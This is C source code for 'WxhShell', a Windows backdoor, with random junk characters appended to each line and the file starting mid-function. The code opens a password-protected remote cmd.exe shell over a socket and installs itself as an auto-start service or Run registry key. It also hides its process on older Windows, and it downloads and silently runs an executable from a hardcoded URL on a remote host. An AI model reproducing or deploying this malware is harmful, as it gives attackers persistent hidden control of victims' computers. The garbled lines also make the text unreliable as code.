    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"YQo  
    else { |'9%vtbM  
    closesocket(wsh); "toyfZq@  
    ExitThread(0); }dX[u`zQ  
    } N`1:U 4}  
    break; 2>p K  
    } -D?T0>  
  // 获取shell xQ\/6|  
  case 's': { kE;h[No&K  
    CmdShell(wsh); 89*CoQ  
    closesocket(wsh); 3%{A"^S=}  
    ExitThread(0); I:CnOpR>A  
    break; mYJ%gdTpo  
  } srXGe`VL  
  // 退出 GGo)k1T|)  
  case 'x': { /) sA{q 4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mnZ/rb  
    CloseIt(wsh); ~B;kFdcVXn  
    break; 3[B*l@}j  
    } C&YJvMu  
  // 离开 |Wd]:ijJ  
  case 'q': { `9E:V=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @GDe{GG+  
    closesocket(wsh); )8VrGg?  
    WSACleanup(); _TfG-Ae  
    exit(1); |=L~>G  
    break; ^2%_AP0=  
        } :IlRn`9X`  
  } [* ,k  
  } ,*$L_itL  
`WQz_}TqB  
  // 提示信息 /yPFts_q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,~u5SR  
} F$<>JEdX  
  } JwG$lGNJ  
S&_Z,mT./  
  return; `T7gfb%1-3  
} 4Xi _[ Xf  
S+Z_Qf  
// shell模块句柄 GEj/Z};;[b  
int CmdShell(SOCKET sock) \ofWD{*j  
{ 1;?n]L`T  
STARTUPINFO si; JX8Hn |  
ZeroMemory(&si,sizeof(si)); Zz}Wg@&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  >Eg/ir0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t0h @i`  
PROCESS_INFORMATION ProcessInfo; nI7G"f[%r;  
char cmdline[]="cmd"; Sm-gi|A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gw' uY$  
  return 0; DjY&)oce(  
} z(b0U6)qQ  
j3 ,6U jlU  
// 自身启动模式 tkX7yg>`  
int StartFromService(void) Y5?*=eM  
{ is}6cR  
typedef struct T9w;4XF  
{ eH,r%r,  
  DWORD ExitStatus; {JTO Q 8&  
  DWORD PebBaseAddress; TbX#K:l  
  DWORD AffinityMask; e/hA>  
  DWORD BasePriority; f'&30lF  
  ULONG UniqueProcessId; ]S;^QZ  
  ULONG InheritedFromUniqueProcessId; d S]TTU1  
}   PROCESS_BASIC_INFORMATION; ,l/~epx4v)  
hG51jVYtw  
PROCNTQSIP NtQueryInformationProcess; L c4\i  
?# ~3%$>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lZ]x #v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tQ0iie1Ys  
?.Mw  
  HANDLE             hProcess; ERD( qL.J  
  PROCESS_BASIC_INFORMATION pbi; f$#--*  
gS{hfDpk,h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %N+8K  
  if(NULL == hInst ) return 0; _RI`I}&9Z  
*+|D8xp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mU0j K@^&M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xPMTmx?2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v0uDL7  
-OV:y],-  
  if (!NtQueryInformationProcess) return 0; 6[3oOO:uo  
\yt-_W=[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E57:ap)/  
  if(!hProcess) return 0; ffyDi1Q  
OBrbWXp@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KFQ4vavNh  
^w]N#%k\H  
  CloseHandle(hProcess); yKupPp);  
pFE&`T@ <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /zxLnT; 5  
if(hProcess==NULL) return 0; dJyf.VJ  
X*f#S:kiNU  
HMODULE hMod; C>l{_J)n  
char procName[255]; Su" 9`  
unsigned long cbNeeded; T%0vifoQ_$  
o[Ojl .r<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I ACpUB  
V9aGo#  
  CloseHandle(hProcess); iA*^`NMaT  
^na8d's:  
if(strstr(procName,"services")) return 1; // 以服务启动 D1w;cV7/d  
lO^Ly27  
  return 0; // 注册表启动 y[QQopy4:  
} NQB a+N  
W)F<<B,  
// 主模块 JF{yhx,+ p  
int StartWxhshell(LPSTR lpCmdLine) U~9Y9qzy,  
{ P`z#tDT^"  
  SOCKET wsl; v9?hcJ=  
BOOL val=TRUE; R"@J*\;$T  
  int port=0; H}v.0R  
  struct sockaddr_in door; '+?L/|'  
6<aZr\Ufg  
  if(wscfg.ws_autoins) Install(); aqL#g18  
3JhT  
port=atoi(lpCmdLine); f@JMDJ  
UqVcN$^b  
if(port<=0) port=wscfg.ws_port; GM]" $  
%Xe#'qNq)  
  WSADATA data; 73/DOF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $H\[yg>4  
PSCzeR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6(#fGH&[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RP!!6A6:  
  door.sin_family = AF_INET; #fB&Hv #s7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R#"LP7\  
  door.sin_port = htons(port); <4lR  
B=<>OYH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9, A(|g  
closesocket(wsl); =*paa  
return 1; WY>r9+A?W  
} q,Oj  
7TDt2:;]  
  if(listen(wsl,2) == INVALID_SOCKET) { R'Gka1v  
closesocket(wsl); ,<Ag&*YE4  
return 1; F7fpsAt7  
} %E<.\\^%  
  Wxhshell(wsl); U%.%:'eV=  
  WSACleanup(); g+( Cs  
[p&n]T  
return 0; rE->z  
vR`#kxSdJ@  
} Go^a~Sf$  
8x)&4o@  
// 以NT服务方式启动 $] ])FM"b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rC !!X  
{ r6,EyCWcCs  
DWORD   status = 0; X667*L^  
  DWORD   specificError = 0xfffffff; c:*[HO\  
0iKSUw ps  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W|2o^ V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :| s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g3V bP  
  serviceStatus.dwWin32ExitCode     = 0; iX&eQ{LB  
  serviceStatus.dwServiceSpecificExitCode = 0; m8jQ~OS  
  serviceStatus.dwCheckPoint       = 0; j\I{pW-  
  serviceStatus.dwWaitHint       = 0; ,(&p "O":  
xX !`0T7Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z_i (o  
  if (hServiceStatusHandle==0) return; kv!QO^;^Y  
ul@swp  
status = GetLastError(); 96(3ilAt  
  if (status!=NO_ERROR) g36:OK"  
{ cVV@MC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wo#,c(  
    serviceStatus.dwCheckPoint       = 0; v[7iWBqJ  
    serviceStatus.dwWaitHint       = 0; |]M|I X8 o  
    serviceStatus.dwWin32ExitCode     = status; .8 GX8[t  
    serviceStatus.dwServiceSpecificExitCode = specificError; :eH*biXy}2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }]<Ghns  
    return; xmM!SY>  
  } 'VMov  
dCb7sqJ%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;c/|LXc\  
  serviceStatus.dwCheckPoint       = 0; pftnF OLO  
  serviceStatus.dwWaitHint       = 0; $q$G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~|:U"w\[=  
} 7:M`k#oDP  
A,'F`au  
// 处理NT服务事件,比如:启动、停止 2@Nt6r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3 P=I)q  
{ H1t`fyri2  
switch(fdwControl) xS'Kr.S  
{ h&| S*  
case SERVICE_CONTROL_STOP: ShIJ6LZ  
  serviceStatus.dwWin32ExitCode = 0; |&oTxx$S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M1mx{<]A  
  serviceStatus.dwCheckPoint   = 0; {py"Ob_  
  serviceStatus.dwWaitHint     = 0; {`ghX%M(l  
  { YAdk3y~pL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )K}-z+$)k  
  } mfW}^mu  
  return; q+Ec|Xd e  
case SERVICE_CONTROL_PAUSE: b)[2t^zG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mG*ER^Y@D  
  break; ez-jVi-Fi  
case SERVICE_CONTROL_CONTINUE: q\$k'(k>35  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m ?e::W  
  break; C>:,\=y%  
case SERVICE_CONTROL_INTERROGATE: o#Viz:  
  break; u]z87#4  
}; PY@BgL=/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dq~ \U&U\$  
} '% if< /  
/prR;'ks  
// 标准应用程序主函数 w7%.EA{N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1RgERj  
{ jhJ'fI  
'>^!a!<G  
// 获取操作系统版本 !jTxMf  
OsIsNt=GetOsVer(); h}U>K4BJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wt M1nnJp  
B'v~0Kau  
  // 从命令行安装 3 ,f3^A  
  if(strpbrk(lpCmdLine,"iI")) Install(); xxQgX~'x  
V<i_YLYmJe  
  // 下载执行文件 <~Oy3#{  
if(wscfg.ws_downexe) { AX]cM)w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OQJ#>*?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6QYHPz  
} "(YfvO+  
#z5$_z?_  
if(!OsIsNt) { so>jz@!EE  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]@6L,+W"  
HideProc(); 8~}~ d}wW  
StartWxhshell(lpCmdLine); }rQ0*h  
} JKF/z@Vbe\  
else "!9FJ Y  
  if(StartFromService()) U1)!X@F{  
  // 以服务方式启动 =&"a:l  
  StartServiceCtrlDispatcher(DispatchTable); ,ll<0Atg  
else @b9qBJfQ  
  // 普通方式启动 7NMy1'-q  
  StartWxhshell(lpCmdLine); }3/|;0j$  
6n:oEXM>  
return 0; ILIv43QKM(  
} A D%9;KQ8  
v hGX&   
UZ;FrQ(l{  
=lmelo#m&  
=========================================== GD1L6kVd1  
2[CHiB*>  
rM`z2*7%d  
H-qbgd6&>R  
"!R*f $  
aQj"FUL  
" pHzl/b8  
v[\GhVb  
#include <stdio.h> {yFMY?6rf  
#include <string.h> ^8=e8O  
#include <windows.h> *pYawT  
#include <winsock2.h> 0O?\0k;o  
#include <winsvc.h> #('GGzL6c  
#include <urlmon.h> tI<6TE'!p#  
N *,[(q  
#pragma comment (lib, "Ws2_32.lib") p:ubj'(U05  
#pragma comment (lib, "urlmon.lib") gbu*6&j9  
q\/xx`L  
#define MAX_USER   100 // 最大客户端连接数 AHzm9U @  
#define BUF_SOCK   200 // sock buffer zgl$ n  
#define KEY_BUFF   255 // 输入 buffer s_P[lbHt.  
* >k6n5%  
#define REBOOT     0   // 重启 KP_7h/e  
#define SHUTDOWN   1   // 关机 zHD 8 \*  
u`"Y!*[ -  
#define DEF_PORT   5000 // 监听端口  N8)]d  
v)aV(Oa  
#define REG_LEN     16   // 注册表键长度 r-_-/O"l  
#define SVC_LEN     80   // NT服务名长度 eB9F35[  
T>irW(  
// 从dll定义API cv_t2m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : cPV08i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fS3%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XCT3:db  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %3yrX>Js  
~xJ ^YkyH  
// wxhshell配置信息 `o0ISJeKp  
struct WSCFG { |\RN%w7E8  
  int ws_port;         // 监听端口 XO5E-Nh  
  char ws_passstr[REG_LEN]; // 口令 [W99}bi$  
  int ws_autoins;       // 安装标记, 1=yes 0=no g,B@*2Uj  
  char ws_regname[REG_LEN]; // 注册表键名 } x Kv N  
  char ws_svcname[REG_LEN]; // 服务名 em2Tet  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JyePI:B&)j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L7"<a2J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X([@}ren  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 75iudki  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {<zE}7/2-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wj8\eK)]L  
BkB9u&s^  
}; X=? \A{Y  
| Pqs)Mb]  
// default Wxhshell configuration ypNeTR$4  
struct WSCFG wscfg={DEF_PORT, p2gu@!   
    "xuhuanlingzhe", 0zk054F'  
    1, H'I5LYsXO~  
    "Wxhshell", hVdGxT]6  
    "Wxhshell", }tJMnq/m($  
            "WxhShell Service", orFB*{/Z  
    "Wrsky Windows CmdShell Service", Z ZT2c0AK  
    "Please Input Your Password: ", Ch]q:o4  
  1, <bJ~Ol  
  "http://www.wrsky.com/wxhshell.exe", X7SSTcA   
  "Wxhshell.exe" 88}04  
    }; 2<*Yq 8  
mhF@S@  
// 消息定义模块 _)~|Z~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xR;z!Tg)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )>]SJQ!k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]j.!   
char *msg_ws_ext="\n\rExit."; w$`u_P|@E:  
char *msg_ws_end="\n\rQuit."; }mS Q!"f:  
char *msg_ws_boot="\n\rReboot..."; ltHuN;C\  
char *msg_ws_poff="\n\rShutdown..."; D"K! ELGW  
char *msg_ws_down="\n\rSave to "; u@aM8Na  
.:/X~{  
char *msg_ws_err="\n\rErr!"; ~]BR(n  
char *msg_ws_ok="\n\rOK!"; )+.AgqxI  
"WqM<kLa  
char ExeFile[MAX_PATH]; qz 29f  
int nUser = 0; hDbZ62DDN  
HANDLE handles[MAX_USER]; mG%cE(j*D  
int OsIsNt; 1(kd3 qX  
?[ D6|gp  
SERVICE_STATUS       serviceStatus; R=W$3Ue~,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w$749jGx  
_X)]/A%@  
// 函数声明 -./ Y  
int Install(void); xG(:O@  
int Uninstall(void); II.Wa&w}  
int DownloadFile(char *sURL, SOCKET wsh); {9hhfI#3_  
int Boot(int flag); VKi3z%kwK  
void HideProc(void); r<*Y1;7H'  
int GetOsVer(void); UHDcheeRD  
int Wxhshell(SOCKET wsl); +PO& z!F  
void TalkWithClient(void *cs); tOPk x(  
int CmdShell(SOCKET sock); d%Ku 'Jy  
int StartFromService(void); :$QwOz^N*  
int StartWxhshell(LPSTR lpCmdLine); CF5%&B  
N]|U-fN\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $-)y59w"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qt%/0  
[{J1b  
// 数据结构和表定义 &jDRRT3  
SERVICE_TABLE_ENTRY DispatchTable[] = 1'5 !")r  
{ n4 Y ]v  
{wscfg.ws_svcname, NTServiceMain}, }Z`@Z'  
{NULL, NULL} 4;w# mzd  
}; _xdttO^N  
;~s@_}&  
// 自我安装 73M;-qnU  
int Install(void) EKT"pL-EY  
{ b;I!Cy D  
  char svExeFile[MAX_PATH]; Bc#6mO-  
  HKEY key; +Jc-9Ko\c;  
  strcpy(svExeFile,ExeFile); .sUL5`  
=k+i5:@]  
// 如果是win9x系统,修改注册表设为自启动 H{;8i7%  
if(!OsIsNt) { y)Lyo'`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,]?l(H $x'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ? oGmGKq  
  RegCloseKey(key); EtB56FU\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fVBRP[,   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I3?:KVa  
  RegCloseKey(key); l1RFn,Tzr  
  return 0; S[uHPYhlA  
    } m$$98N  
  } ix}*whW=U  
} K9Pw10g'  
else { t{/ EN)J  
14\!FCe)!  
// 如果是NT以上系统,安装为系统服务 o-t!z'\lO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yDw^xGws  
if (schSCManager!=0) v aaZ  
{ upH%-)%'  
  SC_HANDLE schService = CreateService /XW,H0pR  
  ( 2qkC{klC^M  
  schSCManager, o6;VrpaNi  
  wscfg.ws_svcname, GG_A'eX:I  
  wscfg.ws_svcdisp, ?Qs>L~  
  SERVICE_ALL_ACCESS, YCQ+9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #D!3a%u0  
  SERVICE_AUTO_START, fI0L\^b%  
  SERVICE_ERROR_NORMAL, gClDVO  
  svExeFile, [h2V9>4:  
  NULL, @KYmkx W  
  NULL, -OP5v8c f  
  NULL, 5(OF~mX#  
  NULL, ~ .Eln+N  
  NULL |m7`:~ow  
  ); :hxZ2O?5_  
  if (schService!=0) @)8C  
  { h-h}NCP  
  CloseServiceHandle(schService); Jh:-<xy)  
  CloseServiceHandle(schSCManager); 3'2}F%!Mv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oAp I/o  
  strcat(svExeFile,wscfg.ws_svcname); l@YpgyqaL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #$%gs]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9/|i. 2&  
  RegCloseKey(key); #Ryu`b  
  return 0; k07) g:_  
    } VVje|T^{Z  
  } }fs;yPl,  
  CloseServiceHandle(schSCManager); )+9D$m=P;  
} Lp*T=]C]  
} G8?<(.pi@  
o [ %Q&u  
return 1; efP2 C\  
} am05>c9  
`\P:rn95;  
// 自我卸载 Y<.F/iaH  
int Uninstall(void) +=@Z5eu  
{ `ionMTZY  
  HKEY key; ?-'Q-\j  
tg5jS]O  
if(!OsIsNt) { \>/:@4oK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V2]S{!p}k  
  RegDeleteValue(key,wscfg.ws_regname); "WYcw\@U  
  RegCloseKey(key); 5tl}rmI`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fk(0q/b  
  RegDeleteValue(key,wscfg.ws_regname); z_l3=7R  
  RegCloseKey(key); [l5 "'{x  
  return 0; ?\F,}e  
  } {nOK*7+ "  
} T[q-$8U  
} 2i(|?XJ^  
else { qc'tK6=jp  
v981nJ>w,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7RD` *s  
if (schSCManager!=0) PvT8XSlTx!  
{ D&9j$#9Rh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8h20*@wSN  
  if (schService!=0) -{b1&  
  { c8"I]Qc7  
  if(DeleteService(schService)!=0) { \ bT]?.si  
  CloseServiceHandle(schService); n"K7@[d  
  CloseServiceHandle(schSCManager); Z ''P5B;  
  return 0; YJ16vb9  
  } ^]R0d3?>\  
  CloseServiceHandle(schService); Eq<#pX6  
  } 56_KB.Ww~  
  CloseServiceHandle(schSCManager); lIFU7g  
} A^p $~e\)  
} wD,F=O  
WNYLQ=;  
return 1; }C&c=3V  
} 8rpN2M 3h  
l*m|b""].u  
// 从指定url下载文件 ToJru  
int DownloadFile(char *sURL, SOCKET wsh) VD3[ko  
{ T&23Pf1  
  HRESULT hr; dw4)4_  
char seps[]= "/"; +tN-X'u##  
char *token; uATBt   
char *file; *-Yw0Y[E  
char myURL[MAX_PATH]; .yP 3}Nl  
char myFILE[MAX_PATH]; _5Ll L#)  
F_Pd\Aq8  
strcpy(myURL,sURL); t@HE.h  
  token=strtok(myURL,seps); anwn!Eqk"  
  while(token!=NULL) 7z,M`14  
  { hW+Dko(s  
    file=token; 1a!h&!$9  
  token=strtok(NULL,seps); T+ t-0k  
  } L wu;y@[  
 Fszk?0T  
GetCurrentDirectory(MAX_PATH,myFILE); B&$89]gs|  
strcat(myFILE, "\\"); ~3Y NHm6V  
strcat(myFILE, file); LGMFv  
  send(wsh,myFILE,strlen(myFILE),0); fIcv}Y  
send(wsh,"...",3,0); E0pQRGPA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5y'Yosy:  
  if(hr==S_OK) -oo=IUk  
return 0; o_N02l4J)  
else Ji[w; [qL  
return 1; g:clSN,  
'~cEdGD9H  
} rh l5r"%  
%% >?<4t  
// 系统电源模块 ZF/KV\Ag)  
int Boot(int flag) .eAC!R  
{ I(CI')Q  
  HANDLE hToken; ,i,=LGn  
  TOKEN_PRIVILEGES tkp; nJya1AH;  
Z7/dRc   
  if(OsIsNt) { {LeEnh-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  k WtUj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >dl!Ep  
    tkp.PrivilegeCount = 1; N9ufTlq s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y b G)=0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^Bb_NcU  
if(flag==REBOOT) { HW G~m:km  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S_CtE M  
  return 0; vSA%A47G  
} 8#Z5-",iw  
else { HKkf+)%)x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VfwD{+ 5  
  return 0; V"ZbKV +[  
} Uk2q,2  
  } %E\%nTV  
  else { kt#W~n  
if(flag==REBOOT) { h,+=h;!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z>:7}=H0  
  return 0; <X |h *  
} t_rDXhM  
else { [s2V-'2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gsp 7N  
  return 0; OQQ9R?Ll{  
} ftPw6  
} QA(,K}z~^S  
^IpiNY/%Q  
return 1; 1#<E]<='t  
} zFr}$  
g4 X,*H  
// win9x进程隐藏模块 G~L?q~b  
void HideProc(void) Fzs'@*  
{ srLr~^$j[  
2>k)=hl:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z)>{O3  
  if ( hKernel != NULL ) ~a%hRJg  
  { ([-=NT}Aq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =.hDf<U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z5L1^  
    FreeLibrary(hKernel); i)i)3K2  
  } ]P$DAi   
N{t :%[  
return; `Qf :PX3  
} -<!17jy  
<WJ0St  
// 获取操作系统版本 Y0\\(0j64  
int GetOsVer(void) S "Pj 1  
{ d %W}w.  
  OSVERSIONINFO winfo; !(K{*7|h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c/Yi0Rl)  
  GetVersionEx(&winfo); \{zAX~k6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q'% o;z*  
  return 1; l6c%_<P|  
  else <]^;/2 .B  
  return 0; =awO63j>  
} bxSKe6l  
{IHK<aW  
// 客户端句柄模块 iv+jv2ZF%  
int Wxhshell(SOCKET wsl) i:M*L< +  
{ E 'JC  
  SOCKET wsh; 1`]IU_)1B  
  struct sockaddr_in client; 36x:(-GFq  
  DWORD myID; G+ v, Hi1  
h+~df(S.  
  while(nUser<MAX_USER) DsJn#>?Kh  
{ =l4\4td9p  
  int nSize=sizeof(client); !LIfeL.4h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &^n> ZY,  
  if(wsh==INVALID_SOCKET) return 1; ),Ho(%T\  
} .3]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O| J`~Lk  
if(handles[nUser]==0) (:-Jl"&R@  
  closesocket(wsh); ^ ]qV8  
else f\);HJbg  
  nUser++; 3V Mh)  
  } Ivt} o_b*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sci4EGc  
fb"J Bc}X  
  return 0; sh(kRrdY3  
} B >u,)  
,+/9K)X  
// 关闭 socket 4l ZJb  
void CloseIt(SOCKET wsh) Km9}^*Mo%  
{ y,v0-o~q  
closesocket(wsh); }kCn@  
nUser--; ";_K x={  
ExitThread(0); 2#b<d?"  
} ] `B,L*m6  
UOu6LD/|h  
// 客户端请求句柄 <DXmZ1  
void TalkWithClient(void *cs) w.D4dv_H  
{ I[=Wmxa?r  
lj EB  
  SOCKET wsh=(SOCKET)cs; 0Q$~k  
  char pwd[SVC_LEN]; Bn1L?>G  
  char cmd[KEY_BUFF]; B9LSxB  
char chr[1]; D(qHf9  
int i,j; }0BL0N`_  
W1?!iE~tO  
  while (nUser < MAX_USER) { XhE$&Ff  
7sud/*+F  
if(wscfg.ws_passstr) { T/wM(pr'   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C|4 U78f{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p;qRm} 0}  
  //ZeroMemory(pwd,KEY_BUFF); B:O+*3j  
      i=0; &;ZC<?wS  
  while(i<SVC_LEN) { gH{:`E k7  
^91sl5c8yD  
  // 设置超时 (|g").L  
  fd_set FdRead; b&=]S(  
  struct timeval TimeOut; VLh%XoQx[  
  FD_ZERO(&FdRead); r7Nu>[r5  
  FD_SET(wsh,&FdRead); s?^,iQ+tp  
  TimeOut.tv_sec=8; S}.\v<  
  TimeOut.tv_usec=0; 0 &*P}U}Uc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m x3}m?WQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [as-3&5S  
oMh~5 W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0\5M^:8i3  
  pwd=chr[0]; Job/@> ;  
  if(chr[0]==0xd || chr[0]==0xa) { M8 iEVJ  
  pwd=0; >.J'L5 x$  
  break; W[R]^2QAG  
  } $zC6(C(l  
  i++; cs K>iN  
    } =cdh'"XN  
%<aImR]  
  // 如果是非法用户,关闭 socket x1N me%%&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,^.S0;D,Z  
} s8t f@H4r  
j';n8|Y9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $42Au2Jg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hs[}l_gYn  
M0O>Ljo4RN  
while(1) { R(:  4s  
=QrA0kQR  
  ZeroMemory(cmd,KEY_BUFF); *I:mw8t  
=LXvlt'Q34  
      // 自动支持客户端 telnet标准   `]K,'i{R  
  j=0; ;c>>$lr  
  while(j<KEY_BUFF) { 6RH/V:YY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +jp|Y?6Z  
  cmd[j]=chr[0]; gWFL  
  if(chr[0]==0xa || chr[0]==0xd) { UskZ%J  
  cmd[j]=0; /GsSrP_?]  
  break; o*%3[HmV  
  } *Jb_=j*)  
  j++; |.j^G2x  
    } b\1+kB/8  
n<{aPLQ  
  // 下载文件 {hxW,mmA  
  if(strstr(cmd,"http://")) { M} O[`Fx{W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s,84*6u  
  if(DownloadFile(cmd,wsh)) 4$%`Qh>yA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 65lOX$*{-  
  else  pz$_W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -{!&/;Z  
  } 'yE*|Sx  
  else { {U(Bfe^a,  
~Y% : 3  
    switch(cmd[0]) { ,MRvuw0P  
  * !X4&#xP  
  // 帮助 5QR}IxQ  
